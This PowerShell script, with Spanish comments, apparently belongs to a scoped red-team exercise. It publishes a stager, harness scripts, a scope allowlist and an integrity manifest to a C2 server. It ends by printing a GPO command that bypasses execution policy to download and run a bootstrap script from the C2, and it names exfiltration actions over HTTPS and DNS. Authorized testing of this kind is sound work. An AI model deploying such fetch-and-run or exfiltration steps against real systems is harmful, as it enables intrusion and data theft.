#Requires -Version 5.1 <# .SYNOPSIS Arnes RT - Publica el payload del ejercicio en el C2 y genera el manifiesto. .DESCRIPTION Deja en el C2 (o en un directorio local, para pruebas) todo lo que el stager necesita descargar: \ bootstrap.ps1 <- lo unico que trae la GPO manifest.json <- sha256 de cada fichero (integridad) scope.json <- alcance del ejercicio (allowlist, ventana, topes, c2) harness\lib\*.ps1 harness\bin\*.ps1 Genera el manifiesto DESPUES de copiar, de modo que los hashes son los reales del payload publicado. Si el cliente cambia un fichero en el C2, el stager aborta. Tambien imprime la linea de comando exacta que debe llevar la GPO, y el contenido de rt-bootstrap.cmd. .PARAMETER OutDir Directorio local donde construir el payload (para pruebas). .PARAMETER C2Host Alternativa: publicar directamente en la VM del C2 por el recurso \\HOST\C$. .PARAMETER ScopePath Alcance a publicar. Se sube como scope.json. Usa tokens {Desktop}/{Documents} en allowed_paths para que un MISMO alcance valga en todos los activos autorizados. .PARAMETER Token Si se indica, se inyecta en c2.token del alcance publicado. .EXAMPLE .\Publish-C2Payload.ps1 -OutDir C:\RT\payload -ScopePath ..\scope\scope.vector2.json -Execute .EXAMPLE .\Publish-C2Payload.ps1 -C2Host 192.168.1.50 -BaseUrl 'https://c2/rt' -ScopePath ..\scope\scope.vector1.json -Execute #> [CmdletBinding()] param( [string]$OutDir, [string]$C2Host, [string]$Docroot = 'C:\xampp\htdocs', [string]$SubPath = 'rt', [string]$ScopePath, [string]$ScopeName = 'scope.json', [string]$Token, [string]$BaseUrl, [switch]$Execute ) $ErrorActionPreference = 'Stop' $harness = Split-Path -Parent $PSScriptRoot $srcBoot = Join-Path $harness 'deploy\bootstrap\bootstrap.ps1' if (-not (Test-Path -LiteralPath $srcBoot)) { throw "No encuentro deploy\bootstrap\bootstrap.ps1" } if (-not $ScopePath) { throw "Indica -ScopePath con el alcance que quieres publicar." } if (-not (Test-Path -LiteralPath $ScopePath)) { throw "No existe el alcance: $ScopePath" } if (-not $OutDir -and -not $C2Host) { throw "Indica -OutDir (local, para pruebas) o -C2Host (VM del C2)." } # --- Destino --------------------------------------------------------------- $remote = $false if ($C2Host) { if ($Docroot -notmatch '^([A-Za-z]):\\(.*)$') { throw "Docroot '$Docroot' no tiene el formato C:\... esperado." } $dest = '\\{0}\{1}$\{2}\{3}' -f $C2Host, $Matches[1], $Matches[2], $SubPath $remote = $true } else { $dest = Join-Path $OutDir $SubPath } if (-not $BaseUrl) { $BaseUrl = if ($remote) { 'http://{0}/{1}' -f $C2Host, $SubPath } else { 'http:///{0}' -f $SubPath } } Write-Host '' Write-Host '=== Publicacion del payload en el C2 ===' -ForegroundColor Cyan Write-Host "Origen : $harness" Write-Host "Destino : $dest" Write-Host "Alcance : $(Resolve-Path -LiteralPath $ScopePath)" Write-Host "BaseUrl : $BaseUrl" Write-Host "Token : $(if ($Token) { 'inyectado en el alcance' } else { 'se conserva el del alcance' })" Write-Host '' if (-not $Execute) { Write-Host 'MODO SIMULACION. Se haria lo siguiente:' -ForegroundColor Magenta Write-Host ' 1. Copiar bootstrap.ps1' Write-Host ' 2. Copiar harness\lib y harness\bin' Write-Host ' 3. Copiar el alcance como scope.json' Write-Host ' 4. Generar manifest.json con el sha256 de cada fichero' Write-Host ' 5. Imprimir la linea de comando para la GPO' Write-Host '' Write-Host 'Anade -Execute para publicar.' -ForegroundColor Yellow return } # --- Preparar destino ------------------------------------------------------ if ($remote -and -not (Test-Path -LiteralPath ('\\{0}\C$' -f $C2Host))) { throw "No se alcanza '\\$C2Host\C$'. Comprueba credenciales de administrador en la VM y SMB." } New-Item -ItemType Directory -Path $dest -Force | Out-Null New-Item -ItemType Directory -Path (Join-Path $dest 'harness\lib') -Force | Out-Null New-Item -ItemType Directory -Path (Join-Path $dest 'harness\bin') -Force | Out-Null # --- 1. bootstrap.ps1 ----------------------------------------------------- Copy-Item -LiteralPath $srcBoot -Destination (Join-Path $dest 'bootstrap.ps1') -Force Write-Host '[1/5] bootstrap.ps1 publicado' -ForegroundColor Green # --- 2. harness ----------------------------------------------------------- $copied = 0 foreach ($sub in @('lib', 'bin')) { $src = Join-Path $harness $sub $dst = Join-Path $dest "harness\$sub" foreach ($f in @(Get-ChildItem -LiteralPath $src -File -Filter '*.ps1')) { $target = Join-Path $dst $f.Name # Republicacion in-place (publicando desde el propio payload del C2): origen y # destino son el mismo fichero y Copy-Item se niega a copiarlo sobre si mismo. if ([System.IO.Path]::GetFullPath($target) -eq [System.IO.Path]::GetFullPath($f.FullName)) { continue } Copy-Item -LiteralPath $f.FullName -Destination $target -Force $copied++ } } Write-Host "[2/5] harness publicado: $copied scripts" -ForegroundColor Green # --- 3. Alcance ----------------------------------------------------------- $cfg = Get-Content -LiteralPath $ScopePath -Raw | ConvertFrom-Json if ($Token) { $names = @($cfg.PSObject.Properties | ForEach-Object { $_.Name }) if ($names -notcontains 'c2') { $cfg | Add-Member -NotePropertyName 'c2' -NotePropertyValue ([pscustomobject]@{}) } $c2names = @($cfg.c2.PSObject.Properties | ForEach-Object { $_.Name }) if ($c2names -contains 'token') { $cfg.c2.token = $Token } else { $cfg.c2 | Add-Member -NotePropertyName 'token' -NotePropertyValue $Token } } $scopeOut = Join-Path $dest $ScopeName $cfg | ConvertTo-Json -Depth 10 | Set-Content -LiteralPath $scopeOut -Encoding UTF8 Write-Host "[3/5] alcance publicado: $ScopeName (exercise_id=$($cfg.exercise_id))" -ForegroundColor Green # --- 4. Manifiesto -------------------------------------------------------- # Incluye TODOS los alcances publicados (scope*.json), no solo el ultimo, para que # un payload con Vector 1 y Vector 2 quede verificado entero. # # Se enumera con -Name (rutas RELATIVAS al destino) en lugar de recortar el FullName # con Substring: si la ruta del destino y la que devuelve el proveedor no coinciden # caracter a caracter, el recorte se rompe. Ocurre con nombres 8.3 (ALBERT~1 frente a # AlbertoSanchez), y produciria rutas corruptas en el manifiesto. $rels = @() $rels += @(Get-ChildItem -LiteralPath $dest -File -Filter 'scope*.json' -Name) foreach ($n in @(Get-ChildItem -LiteralPath (Join-Path $dest 'harness') -Recurse -File -Name)) { if ($n -like 'deploy\*') { continue } # copia auxiliar del stager, no se sirve en el payload $rels += ('harness\' + $n) } $files = @() foreach ($rel in $rels) { $local = Join-Path $dest $rel $files += [ordered]@{ path = $rel.Replace('\', '/') size = (Get-Item -LiteralPath $local).Length sha256 = (Get-FileHash -LiteralPath $local -Algorithm SHA256).Hash } } $manifest = [ordered]@{ exercise_id = [string]$cfg.exercise_id generated_utc = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') base_url = $BaseUrl files = $files } $manifest | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath (Join-Path $dest 'manifest.json') -Encoding UTF8 Write-Host "[4/5] manifest.json generado: $($files.Count) ficheros" -ForegroundColor Green # --- 5. Linea de comando para la GPO ------------------------------------- $bootUrl = '{0}/bootstrap.ps1' -f $BaseUrl.TrimEnd('/') Write-Host '[5/5] Linea de comando para la GPO:' -ForegroundColor Cyan Write-Host '' Write-Host ('powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "iwr ''{0}'' -OutFile ''%ProgramData%\rt-bootstrap.ps1'' -UseBasicParsing; & ''%ProgramData%\rt-bootstrap.ps1'' -BaseUrl ''{1}'' -Action Vector2Sim"' -f $bootUrl, $BaseUrl.TrimEnd('/')) -ForegroundColor Yellow Write-Host '' Write-Host 'Sustituye -Action por la accion deseada: Vector2Sim, CanaryGen, CanaryPlant,' -ForegroundColor DarkGray Write-Host 'ExfilHttpsBurst, ExfilDnsLow, Scoreboard, Retire...' -ForegroundColor DarkGray Write-Host 'AƱade -Execute al final para que actue de verdad. Sin -Execute solo prueba el canal.' -ForegroundColor DarkGray